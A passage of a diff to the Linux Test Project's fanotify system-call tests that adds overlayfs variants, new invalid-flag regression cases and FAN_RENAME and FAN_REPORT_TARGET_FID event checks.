kernel supports encoding fid with new flag AT_HADNLE_FID, + * also merged to 6.5 and not likely to be backported to older kernels. + */ + if (tst_variant) { + REQUIRE_HANDLE_TYPE_SUPPORTED_BY_KERNEL(AT_HANDLE_FID); + ovl_mounted = TST_MOUNT_OVERLAY(); + mnt = OVL_UPPER; + } else { + mnt = OVL_BASE_MNTPOINT; + + } + REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(FAN_REPORT_FID, mnt); + SAFE_MKDIR(MOUNT_PATH, 0755); + SAFE_MOUNT(mnt, MOUNT_PATH, "none", MS_BIND, NULL); + bind_mounted = 1; filesystem_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_FILESYSTEM); @@ -285,19 +332,27 @@ static void do_cleanup(void) SAFE_CLOSE(nofid_fd); if (fanotify_fd > 0) SAFE_CLOSE(fanotify_fd); + if (bind_mounted) { + SAFE_UMOUNT(MOUNT_PATH); + SAFE_RMDIR(MOUNT_PATH); + } + if (ovl_mounted) + SAFE_UMOUNT(OVL_MNT); } static struct tst_test test = { .test = do_test, .tcnt = ARRAY_SIZE(test_cases), + .test_variants = 2, .setup = do_setup, .cleanup = do_cleanup, .needs_root = 1, .mount_device = 1, - .mntpoint = MOUNT_PATH, + .mntpoint = OVL_BASE_MNTPOINT, .all_filesystems = 1, .tags = (const struct tst_tag[]) { {"linux-git", "c285a2f01d69"}, + {"linux-git", "bc2473c90fca"}, {} } }; diff --git a/testcases/kernel/syscalls/fanotify/fanotify14.c b/testcases/kernel/syscalls/fanotify/fanotify14.c index 1944bcbb..4596511f 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify14.c +++ b/testcases/kernel/syscalls/fanotify/fanotify14.c @@ -1,6 +1,7 @@ // SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2018 Matthew Bobrowski. All Rights Reserved. + * Copyright (c) Linux Test Project, 2020-2022 * * Started by Matthew Bobrowski */ @@ -13,6 +14,16 @@ * mask value has been specified in conjunction with FAN_REPORT_FID. */ +/* + * The ENOTDIR test cases are regression tests for commits: + * + * ceaf69f8eadc fanotify: do not allow setting dirent events in mask of non-dir + * 8698e3bab4dd fanotify: refine the validation checks on non-dir inode mask + * + * The pipes test cases are regression tests for commit: + * 69562eb0bd3e fanotify: disallow mount/sb marks on kernel internal pseudo fs + */ + #define _GNU_SOURCE #include "tst_test.h" #include @@ -30,7 +41,17 @@ #define INODE_EVENTS (FAN_ATTRIB | FAN_CREATE | FAN_DELETE | FAN_MOVE | \ FAN_DELETE_SELF | FAN_MOVE_SELF) +#define FLAGS_DESC(flags) {(flags), (#flags)} + +static int pipes[2] = {-1, -1}; static int fanotify_fd; +static int fan_report_target_fid_unsupported; +static int ignore_mark_unsupported; + +struct test_case_flags_t { + unsigned long long flags; + const char *desc; +}; /* * Each test case has been designed in a manner whereby the values defined @@ -38,135 +59,285 @@ static int fanotify_fd; * process. */ static struct test_case_t { - unsigned int init_flags; - unsigned int mark_flags; - unsigned long long mask; + struct test_case_flags_t init; + struct test_case_flags_t mark; + /* when mask.flags == 0, fanotify_init() is expected to fail */ + struct test_case_flags_t mask; + int expected_errno; + int *pfd; } test_cases[] = { + /* FAN_REPORT_FID without class FAN_CLASS_NOTIF is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_CONTENT | FAN_REPORT_FID), + .expected_errno = EINVAL, + }, + + /* FAN_REPORT_FID without class FAN_CLASS_NOTIF is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_PRE_CONTENT | FAN_REPORT_FID), + .expected_errno = EINVAL, + }, + + /* INODE_EVENTS in mask without class FAN_REPORT_FID are not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF), + .mark = FLAGS_DESC(FAN_MARK_INODE), + .mask = FLAGS_DESC(INODE_EVENTS), + .expected_errno = EINVAL, + }, + + /* INODE_EVENTS in mask with FAN_MARK_MOUNT are not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_FID), + .mark = FLAGS_DESC(FAN_MARK_MOUNT), + .mask = FLAGS_DESC(INODE_EVENTS), + .expected_errno = EINVAL, + }, + + /* FAN_REPORT_NAME without FAN_REPORT_DIR_FID is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_NAME), + .expected_errno = EINVAL, + }, + + /* FAN_REPORT_NAME without FAN_REPORT_DIR_FID is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_FID | FAN_REPORT_NAME), + .expected_errno = EINVAL, + }, + + /* FAN_REPORT_TARGET_FID without FAN_REPORT_FID is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_TARGET_FID | FAN_REPORT_DFID_NAME), + .expected_errno = EINVAL, + }, + + /* FAN_REPORT_TARGET_FID without FAN_REPORT_NAME is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_TARGET_FID | FAN_REPORT_DFID_FID), + .expected_errno = EINVAL, + }, + + /* FAN_RENAME without FAN_REPORT_NAME is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_DFID_FID), + .mark = FLAGS_DESC(FAN_MARK_INODE), + .mask = FLAGS_DESC(FAN_RENAME), + .expected_errno = EINVAL, + }, + + /* With FAN_MARK_ONLYDIR on non-dir is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF), + .mark = FLAGS_DESC(FAN_MARK_ONLYDIR), + .mask = FLAGS_DESC(FAN_OPEN), + .expected_errno = ENOTDIR, + }, + + /* With FAN_REPORT_TARGET_FID, FAN_DELETE on non-dir is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME_TARGET), + .mark = FLAGS_DESC(FAN_MARK_INODE), + .mask = FLAGS_DESC(FAN_DELETE), + .expected_errno = ENOTDIR, + }, + + /* With FAN_REPORT_TARGET_FID, FAN_RENAME on non-dir is not valid */ { - FAN_CLASS_CONTENT | FAN_REPORT_FID, 0, 0 + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME_TARGET), + .mark = FLAGS_DESC(FAN_MARK_INODE), + .mask = FLAGS_DESC(FAN_RENAME), + .expected_errno = ENOTDIR, }, + + /* With FAN_REPORT_TARGET_FID, FAN_ONDIR on non-dir is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME_TARGET), + .mark = FLAGS_DESC(FAN_MARK_INODE), + .mask = FLAGS_DESC(FAN_OPEN | FAN_ONDIR), + .expected_errno = ENOTDIR, + }, + + /* With FAN_REPORT_TARGET_FID, FAN_EVENT_ON_CHILD on non-dir is not valid */ { - FAN_CLASS_PRE_CONTENT | FAN_REPORT_FID, 0, 0 + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME_TARGET), + .mark = FLAGS_DESC(FAN_MARK_INODE), + .mask = FLAGS_DESC(FAN_OPEN | FAN_EVENT_ON_CHILD), + .expected_errno = ENOTDIR, }, + + /* FAN_MARK_IGNORE_SURV with FAN_DELETE on non-dir is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME), + .mark = FLAGS_DESC(FAN_MARK_IGNORE_SURV), + .mask = FLAGS_DESC(FAN_DELETE), + .expected_errno = ENOTDIR, + }, + + /* FAN_MARK_IGNORE_SURV with FAN_RENAME on non-dir is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME), + .mark = FLAGS_DESC(FAN_MARK_IGNORE_SURV), + .mask = FLAGS_DESC(FAN_RENAME), + .expected_errno = ENOTDIR, + }, + + /* FAN_MARK_IGNORE_SURV with FAN_ONDIR on non-dir is not valid */ { - FAN_CLASS_NOTIF, 0, INODE_EVENTS + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME), + .mark = FLAGS_DESC(FAN_MARK_IGNORE_SURV), + .mask = FLAGS_DESC(FAN_OPEN | FAN_ONDIR), + .expected_errno = ENOTDIR, }, + + /* FAN_MARK_IGNORE_SURV with FAN_EVENT_ON_CHILD on non-dir is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME), + .mark = FLAGS_DESC(FAN_MARK_IGNORE_SURV), + .mask = FLAGS_DESC(FAN_OPEN | FAN_EVENT_ON_CHILD), + .expected_errno = ENOTDIR, + }, + + /* FAN_MARK_IGNORE without FAN_MARK_IGNORED_SURV_MODIFY on directory is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF), + .mark = FLAGS_DESC(FAN_MARK_IGNORE), + .mask = FLAGS_DESC(FAN_OPEN), + .expected_errno = EISDIR, + }, + + /* FAN_MARK_IGNORE without FAN_MARK_IGNORED_SURV_MODIFY on mount mark is not valid */ + { + .init = FLAGS_DESC(FAN_CLASS_NOTIF), + .mark = FLAGS_DESC(FAN_MARK_MOUNT | FAN_MARK_IGNORE), + .mask = FLAGS_DESC(FAN_OPEN), + .expected_errno = EINVAL, + }, + + /* FAN_MARK_IGNORE without FAN_MARK_IGNORED_SURV_MODIFY on filesystem mark is not valid */ { - FAN_CLASS_NOTIF | FAN_REPORT_FID, FAN_MARK_MOUNT, INODE_EVENTS + .init = FLAGS_DESC(FAN_CLASS_NOTIF), + .mark = FLAGS_DESC(FAN_MARK_FILESYSTEM | FAN_MARK_IGNORE), + .mask = FLAGS_DESC(FAN_OPEN), + .expected_errno = EINVAL, }, + /* mount mark on anonymous pipe is not valid */ { - /* FAN_REPORT_NAME without FAN_REPORT_DIR_FID is not valid */ - FAN_CLASS_NOTIF | FAN_REPORT_NAME, 0, 0 + .init = FLAGS_DESC(FAN_CLASS_NOTIF), + .mark = FLAGS_DESC(FAN_MARK_MOUNT), + .mask = { FAN_ACCESS, "anonymous pipe"}, + .pfd = pipes, + .expected_errno = EINVAL, }, + /* filesystem mark on anonymous pipe is not valid */ { - /* FAN_REPORT_NAME without FAN_REPORT_DIR_FID is not valid */ - FAN_CLASS_NOTIF | FAN_REPORT_FID | FAN_REPORT_NAME, 0, 0 + .init = FLAGS_DESC(FAN_CLASS_NOTIF), + .mark = FLAGS_DESC(FAN_MARK_FILESYSTEM), + .mask = { FAN_ACCESS, "anonymous pipe"}, + .pfd = pipes, + .expected_errno = EINVAL, }, }; static void do_test(unsigned int number) { - int ret; struct test_case_t *tc = &test_cases[number]; - fanotify_fd = fanotify_init(tc->init_flags, O_RDONLY); - if (fanotify_fd < 0) { - /* - * EINVAL is to be returned to the calling process when - * an invalid notification class is specified in - * conjunction with FAN_REPORT_FID. - */ - if (errno == EINVAL) { - tst_res(TPASS, - "fanotify_fd=%d, fanotify_init(%x, O_RDONLY) " - "failed with error EINVAL as expected", - fanotify_fd, - tc->init_flags); - return; - } - tst_brk(TBROK | TERRNO, - "fanotify_fd=%d, fanotify_init(%x, O_RDONLY) failed", - fanotify_fd, - tc->init_flags); + tst_res(TINFO, "Test case %d: fanotify_init(%s, O_RDONLY)", number, + tc->init.desc); + + if (fan_report_target_fid_unsupported && tc->init.flags & FAN_REPORT_TARGET_FID) { + FANOTIFY_INIT_FLAGS_ERR_MSG(FAN_REPORT_TARGET_FID, + fan_report_target_fid_unsupported); + return; } - /* - * A test case with a mask set to zero indicate that they've been - * specifically designed to test and fail on the fanotify_init() - * system call. - */ - if (tc->mask == 0) { - tst_res(TFAIL, - "fanotify_fd=%d fanotify_init(%x, O_RDONLY) " - "unexpectedly succeeded when tests with mask 0 are " - "expected to fail when calling fanotify_init()", - fanotify_fd, - tc->init_flags); + if (ignore_mark_unsupported && tc->mark.flags & FAN_MARK_IGNORE) { + tst_res(TCONF, "FAN_MARK_IGNORE not supported in kernel?"); + return; + } + + if (!tc->mask.flags && tc->expected_errno) { + TST_EXP_FAIL(fanotify_init(tc->init.flags, O_RDONLY), + tc->expected_errno); + } else { + TST_EXP_FD(fanotify_init(tc->init.flags, O_RDONLY)); + } + + fanotify_fd = TST_RET; + + if (fanotify_fd < 0) + return; + + if (!tc->mask.flags) goto out; + + /* Set mark on non-dir only when expecting error ENOTDIR */ + const char *path = tc->expected_errno == ENOTDIR ? FILE1 : MNTPOINT; + int dirfd = AT_FDCWD; + + if (tc->pfd) { + dirfd = tc->pfd[0]; + path = NULL; } - ret = fanotify_mark(fanotify_fd, FAN_MARK_ADD | tc->mark_flags, - tc->mask, AT_FDCWD, FILE1); - if (ret < 0) { - /* - * EINVAL is to be returned to the calling process when - * attempting to use INODE_EVENTS without FAN_REPORT_FID - * specified on the notification group, or using - * INODE_EVENTS with mark type FAN_MARK_MOUNT. - */ - if (errno == EINVAL) { + tst_res(TINFO, "Testing %s with %s", + tc->mark.desc, tc->mask.desc); + TST_EXP_FD_OR_FAIL(fanotify_mark(fanotify_fd, FAN_MARK_ADD | tc->mark.flags, + tc->mask.flags, dirfd, path), + tc->expected_errno); + + /* + * ENOTDIR are errors for events/flags not allowed on a non-dir inode. + * Try to set an inode mark on a directory and it should succeed. + * Try to set directory events in filesystem mark mask on non-dir + * and it should succeed. + */ + if (TST_PASS && tc->expected_errno == ENOTDIR) { + SAFE_FANOTIFY_MARK(fanotify_fd, FAN_MARK_ADD | tc->mark.flags, + tc->mask.flags, AT_FDCWD, MNTPOINT); + tst_res(TPASS, + "Adding an inode mark on directory did not fail with " + "ENOTDIR error as on non-dir inode"); + + if (!(tc->mark.flags & FAN_MARK_ONLYDIR)) { + SAFE_FANOTIFY_MARK(fanotify_fd, FAN_MARK_ADD | tc->mark.flags | + FAN_MARK_FILESYSTEM, tc->mask.flags, + AT_FDCWD, FILE1); tst_res(TPASS, - "ret=%d, fanotify_mark(%d, FAN_MARK_ADD | %x, " - "%llx, AT_FDCWD, %s) failed with error EINVAL " - "as expected", - ret, - fanotify_fd, - tc->mark_flags, - tc->mask, - FILE1); - goto out; + "Adding a filesystem mark on non-dir did not fail with " + "ENOTDIR error as with an inode mark"); } - tst_brk(TBROK | TERRNO, - "ret=%d, fanotify_mark(%d, FAN_MARK_ADD | %x, %llx, " - "AT_FDCWD, %s) failed", - ret, - fanotify_fd, - tc->mark_flags, - tc->mask, - FILE1); } - tst_res(TFAIL, - "fanotify_fd=%d, ret=%d, fanotify_init(%x, O_RDONLY) and " - "fanotify_mark(%d, FAN_MARK_ADD | %x, %llx, AT_FDCWD, %s) did " - "not return any errors as expected", - fanotify_fd, - ret, - tc->init_flags, - fanotify_fd, - tc->mark_flags, - tc->mask, - FILE1); out: - SAFE_CLOSE(fanotify_fd); + if (fanotify_fd > 0) + SAFE_CLOSE(fanotify_fd); } static void do_setup(void) { - int fd; + /* Require FAN_REPORT_FID support for all tests to simplify per test case requirements */ + REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(FAN_REPORT_FID, MNTPOINT); - /* Check for kernel fanotify support */ - fd = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF, O_RDONLY); - SAFE_CLOSE(fd); + fan_report_target_fid_unsupported = + fanotify_init_flags_supported_on_fs(FAN_REPORT_DFID_NAME_TARGET, MNTPOINT); + ignore_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_IGNORE_SURV); /* Create temporary test file to place marks on */ SAFE_FILE_PRINTF(FILE1, "0"); + /* Create anonymous pipes to place marks on */ + SAFE_PIPE2(pipes, O_CLOEXEC); } static void do_cleanup(void) { if (fanotify_fd > 0) SAFE_CLOSE(fanotify_fd); + if (pipes[0] != -1) + SAFE_CLOSE(pipes[0]); + if (pipes[1] != -1) + SAFE_CLOSE(pipes[1]); } static struct tst_test test = { @@ -177,7 +348,13 @@ static struct tst_test test = { .cleanup = do_cleanup, .mount_device = 1, .mntpoint = MNTPOINT, - .all_filesystems = 1 + .all_filesystems = 1, + .tags = (const struct tst_tag[]) { + {"linux-git", "ceaf69f8eadc"}, + {"linux-git", "8698e3bab4dd"}, + {"linux-git", "69562eb0bd3e"}, + {} + } }; #else diff --git a/testcases/kernel/syscalls/fanotify/fanotify15.c b/testcases/kernel/syscalls/fanotify/fanotify15.c index 16b2d7ad..6109d32c 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify15.c +++ b/testcases/kernel/syscalls/fanotify/fanotify15.c @@ -34,10 +34,10 @@ /* Size of the event structure, not including file handle */ #define EVENT_SIZE (sizeof(struct fanotify_event_metadata) + \ sizeof(struct fanotify_event_info_fid)) + /* Double events buffer size to account for file handles */ #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE * 2) - #define MOUNT_POINT "mntpoint" #define TEST_DIR MOUNT_POINT"/test_dir" #define DIR1 TEST_DIR"/dir1" @@ -187,6 +187,7 @@ static void do_test(unsigned int number) for (i = 0, metadata = (struct fanotify_event_metadata *) events_buf; FAN_EVENT_OK(metadata, len); i++) { struct event_t *expected = &event_set[i]; + event_fid = (struct fanotify_event_info_fid *) (metadata + 1); event_file_handle = (struct file_handle *) event_fid->handle; @@ -208,15 +209,15 @@ static void do_test(unsigned int number) "Got event: mask=%llx (expected %llx) " "pid=%u fd=%d", (unsigned long long) metadata->mask, - expected->mask, (unsigned) metadata->pid, + expected->mask, (unsigned int) metadata->pid, metadata->fd); } else if (metadata->pid != getpid()) { tst_res(TFAIL, "Got event: mask=%llx pid=%u " "(expected %u) fd=%d", (unsigned long long) metadata->mask, - (unsigned) metadata->pid, - (unsigned) getpid(), + (unsigned int) metadata->pid, + (unsigned int) getpid(), metadata->fd); } else if (event_file_handle->handle_bytes != expected->fid->handle.handle_bytes) { diff --git a/testcases/kernel/syscalls/fanotify/fanotify16.c b/testcases/kernel/syscalls/fanotify/fanotify16.c index 1caf29f2..d45270a9 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify16.c +++ b/testcases/kernel/syscalls/fanotify/fanotify16.c @@ -14,6 +14,7 @@ * - FAN_REPORT_DIR_FID (dir fid) * - FAN_REPORT_DIR_FID | FAN_REPORT_FID (dir fid + child fid) * - FAN_REPORT_DFID_NAME | FAN_REPORT_FID (dir fid + name + child fid) + * - FAN_REPORT_DFID_NAME_TARGET (dir fid + name + created/deleted file fid) */ #define _GNU_SOURCE @@ -36,10 +37,10 @@ /* Size of the event structure, not including file handle */ #define EVENT_SIZE (sizeof(struct fanotify_event_metadata) + \ sizeof(struct fanotify_event_info_fid)) + /* Tripple events buffer size to account for file handles and names */ #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE * 3) - #define BUF_SIZE 256 #ifdef HAVE_NAME_TO_HANDLE_AT @@ -48,10 +49,13 @@ struct event_t { struct fanotify_fid_t *fid; struct fanotify_fid_t *child_fid; char name[BUF_SIZE]; + char name2[BUF_SIZE]; + char *old_name; + char *new_name; }; static char fname1[BUF_SIZE + 11], fname2[BUF_SIZE + 11]; -static char dname1[BUF_SIZE], dname2[BUF_SIZE]; +static char dname1[BUF_SIZE], dname2[BUF_SIZE], tmpdir[BUF_SIZE]; static int fd_notify; static struct event_t event_set[EVENT_MAX]; @@ -63,6 +67,10 @@ static char event_buf[EVENT_BUF_LEN]; #define FILE_NAME1 "test_file1" #define FILE_NAME2 "test_file2" #define MOUNT_PATH "fs_mnt" +#define TEMP_DIR MOUNT_PATH "/temp_dir" + +static int fan_report_target_fid_unsupported; +static int rename_events_unsupported; static struct test_case_t { const char *tname; @@ -71,6 +79,7 @@ static struct test_case_t { unsigned long mask; struct fanotify_mark_type sub_mark; unsigned long sub_mask; + unsigned long tmpdir_ignored_mask; } test_cases[] = { { "FAN_REPORT_DFID_NAME monitor filesystem for create/delete/move/open/close", @@ -80,6 +89,7 @@ static struct test_case_t { /* Mount watch for events possible on children */ INIT_FANOTIFY_MARK_TYPE(MOUNT), FAN_OPEN | FAN_CLOSE | FAN_ONDIR, + 0, }, { "FAN_REPORT_DFID_NAME monitor directories for create/delete/move/open/close", @@ -90,6 +100,7 @@ static struct test_case_t { INIT_FANOTIFY_MARK_TYPE(INODE), FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR | FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD, + 0, }, { "FAN_REPORT_DIR_FID monitor filesystem for create/delete/move/open/close", @@ -99,6 +110,7 @@ static struct test_case_t { /* Mount watch for events possible on children */ INIT_FANOTIFY_MARK_TYPE(MOUNT), FAN_OPEN | FAN_CLOSE | FAN_ONDIR, + 0, }, { "FAN_REPORT_DIR_FID monitor directories for create/delete/move/open/close", @@ -109,6 +121,7 @@ static struct test_case_t { INIT_FANOTIFY_MARK_TYPE(INODE), FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR | FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD, + 0, }, { "FAN_REPORT_DFID_FID monitor filesystem for create/delete/move/open/close", @@ -118,6 +131,7 @@ static struct test_case_t { /* Mount watch for events possible on children */ INIT_FANOTIFY_MARK_TYPE(MOUNT), FAN_OPEN | FAN_CLOSE | FAN_ONDIR, + 0, }, { "FAN_REPORT_DFID_FID monitor directories for create/delete/move/open/close", @@ -128,6 +142,7 @@ static struct test_case_t { INIT_FANOTIFY_MARK_TYPE(INODE), FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR | FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD, + 0, }, { "FAN_REPORT_DFID_NAME_FID monitor filesystem for create/delete/move/open/close", @@ -137,6 +152,7 @@ static struct test_case_t { /* Mount watch for events possible on children */ INIT_FANOTIFY_MARK_TYPE(MOUNT), FAN_OPEN | FAN_CLOSE | FAN_ONDIR, + 0, }, { "FAN_REPORT_DFID_NAME_FID monitor directories for create/delete/move/open/close", @@ -147,6 +163,93 @@ static struct test_case_t { INIT_FANOTIFY_MARK_TYPE(INODE), FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR | FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD, + 0, + }, + { + "FAN_REPORT_DFID_NAME_TARGET monitor filesystem for create/delete/move/open/close", + INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_TARGET), + INIT_FANOTIFY_MARK_TYPE(FILESYSTEM), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR, + /* Mount watch for events possible on children */ + INIT_FANOTIFY_MARK_TYPE(MOUNT), + FAN_OPEN | FAN_CLOSE | FAN_ONDIR, + 0, + }, + { + "FAN_REPORT_DFID_NAME_TARGET monitor directories for create/delete/move/open/close", + INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_TARGET), + INIT_FANOTIFY_MARK_TYPE(INODE), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_ONDIR, + /* Watches for self events on subdir and events on subdir's children */ + INIT_FANOTIFY_MARK_TYPE(INODE), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR | + FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD, + 0, + }, + { + "FAN_REPORT_DFID_NAME_FID monitor filesystem for create/delete/move/rename/open/close", + INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_FID), + INIT_FANOTIFY_MARK_TYPE(FILESYSTEM), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR, + /* Mount watch for events possible on children */ + INIT_FANOTIFY_MARK_TYPE(MOUNT), + FAN_OPEN | FAN_CLOSE | FAN_ONDIR, + 0, + }, + { + "FAN_REPORT_DFID_NAME_FID monitor directories for create/delete/move/rename/open/close", + INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_FID), + INIT_FANOTIFY_MARK_TYPE(INODE), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_ONDIR, + /* Watches for self events on subdir and events on subdir's children */ + INIT_FANOTIFY_MARK_TYPE(INODE), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR | + FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD, + 0, + }, + { + "FAN_REPORT_DFID_NAME_TARGET monitor filesystem for create/delete/move/rename/open/close", + INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_TARGET), + INIT_FANOTIFY_MARK_TYPE(FILESYSTEM), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR, + /* Mount watch for events possible on children */ + INIT_FANOTIFY_MARK_TYPE(MOUNT), + FAN_OPEN | FAN_CLOSE | FAN_ONDIR, + 0, + }, + { + "FAN_REPORT_DFID_NAME_TARGET monitor directories for create/delete/move/rename/open/close", + INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_TARGET), + INIT_FANOTIFY_MARK_TYPE(INODE), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_ONDIR, + /* Watches for self events on subdir and events on subdir's children */ + INIT_FANOTIFY_MARK_TYPE(INODE), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR | + FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD, + 0, + }, + { + "FAN_REPORT_DFID_NAME_FID monitor directories and ignore FAN_RENAME events to/from temp directory", + INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_FID), + INIT_FANOTIFY_MARK_TYPE(INODE), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_ONDIR, + /* Watches for self events on subdir and events on subdir's children */ + INIT_FANOTIFY_MARK_TYPE(INODE), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR | + FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD, + /* Ignore FAN_RENAME to/from tmpdir */ + FAN_MOVE | FAN_RENAME, + }, + { + "FAN_REPORT_DFID_NAME_FID monitor filesystem and ignore FAN_RENAME events to/from temp directory", + INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_FID), + INIT_FANOTIFY_MARK_TYPE(FILESYSTEM), + FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR, + /* Mount watch for events possible on children */ + INIT_FANOTIFY_MARK_TYPE(MOUNT), + FAN_OPEN | FAN_CLOSE | FAN_ONDIR, + /* Ignore FAN_RENAME to/from tmpdir */ + FAN_MOVE | FAN_RENAME, }, }; @@ -158,9 +261,26 @@ static void do_test(unsigned int number) struct fanotify_mark_type *mark = &tc->mark; struct fanotify_mark_type *sub_mark = &tc->sub_mark; struct fanotify_fid_t root_fid, dir_fid, file_fid; + struct fanotify_fid_t *child_fid = NULL, *subdir_fid = NULL; + int report_name = (group->flag & FAN_REPORT_NAME); + int report_target_fid = (group->flag & FAN_REPORT_TARGET_FID); + int report_rename = (tc->mask & FAN_RENAME); + int fs_mark = (mark->flag == FAN_MARK_FILESYSTEM); + int rename_ignored = (tc->tmpdir_ignored_mask & FAN_RENAME); tst_res(TINFO, "Test #%d: %s", number, tc->tname); + if (report_rename && rename_events_unsupported) { + tst_res(TCONF, "FAN_RENAME not supported in kernel?"); + return; + } + + if (fan_report_target_fid_unsupported && report_target_fid) { + FANOTIFY_INIT_FLAGS_ERR_MSG(FAN_REPORT_TARGET_FID, + fan_report_target_fid_unsupported); + return; + } + fd_notify = SAFE_FANOTIFY_INIT(group->flag, 0); /* @@ -181,14 +301,29 @@ static void do_test(unsigned int number) /* Save the subdir fid */ fanotify_save_fid(dname1, &dir_fid); + /* With FAN_REPORT_TARGET_FID, report subdir fid also for dirent events */ + if (report_target_fid) + subdir_fid = &dir_fid; if (tc->sub_mask) SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD | sub_mark->flag, tc->sub_mask, AT_FDCWD, dname1); + /* + * ignore FAN_RENAME to/from tmpdir, so we won't get the FAN_RENAME events + * when subdir is moved via tmpdir. + * FAN_MOVE is also set in ignored mark of tmpdir, but it will have no effect + * and the MOVED_FROM/TO events will still be reported. + */ + if (tc->tmpdir_ignored_mask) + SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD | + FAN_MARK_IGNORED_MASK | + FAN_MARK_IGNORED_SURV_MODIFY, + tc->tmpdir_ignored_mask, AT_FDCWD, TEMP_DIR); + memset(event_set, 0, sizeof(event_set)); event_set[tst_count].mask = FAN_CREATE | FAN_ONDIR; event_set[tst_count].fid = &root_fid; - event_set[tst_count].child_fid = NULL; + event_set[tst_count].child_fid = subdir_fid; strcpy(event_set[tst_count].name, DIR_NAME1); tst_count++; @@ -197,8 +332,11 @@ static void do_test(unsigned int number) /* Save the file fid */ fanotify_save_fid(fname1, &file_fid); + /* With FAN_REPORT_TARGET_FID, report child fid also for dirent events */ + if (report_target_fid) + child_fid = &file_fid; - SAFE_WRITE(1, fd, "1", 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "1", 1); SAFE_RENAME(fname1, fname2); SAFE_CLOSE(fd); @@ -214,7 +352,7 @@ static void do_test(unsigned int number) */ event_set[tst_count].mask = FAN_CREATE | FAN_MOVED_FROM; event_set[tst_count].fid = &dir_fid; - 